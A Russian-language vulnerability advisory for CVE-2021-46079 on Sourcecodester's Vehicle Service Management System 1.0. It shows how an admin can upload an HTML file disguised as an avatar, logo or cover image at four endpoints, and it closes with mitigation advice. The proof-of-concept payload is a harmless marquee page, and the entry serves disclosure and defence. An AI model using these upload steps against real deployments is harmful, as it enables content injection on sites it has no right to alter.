CVE-2021-46079
Название эксплойта: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection
Автор эксплойта: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Ссылки:
Описание:
В Vehicle Service Management System 1.0 от Sourcecodester существует уязвимость неограниченной загрузки файлов. Удалённый злоумышленник может загружать вредоносные файлы, что приводит к HTML-инъекции.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Update.
- Откройте изображение аватара в новой вкладке.
- HTML-инъекция выполняется.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел User List и нажмите кнопку Create New.
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- На странице Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Save.
- Откройте изображение аватара в новой вкладке.
- HTML-инъекция выполняется.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Полезная нагрузка:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
- Нажмите кнопку Update.
- Откройте изображение System Logo в новой вкладке.
- HTML-инъекция выполняется.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
- Нажмите кнопку Update.
- Откройте изображение Website Cover в новой вкладке.
- HTML-инъекция выполняется.
Воздействие:
Злоумышленник может загружать вредоносные файлы через несколько конечных точек, что приводит к HTML-инъекции.
Меры по смягчению:
Рекомендуется реализовать следующее:
- Никогда не принимайте имя файла и его расширение напрямую без фильтра по белому списку.
- Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве входных данных для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Каталог загрузки не должен иметь разрешения на «выполнение».
- Не полагайтесь только на проверку на стороне клиента.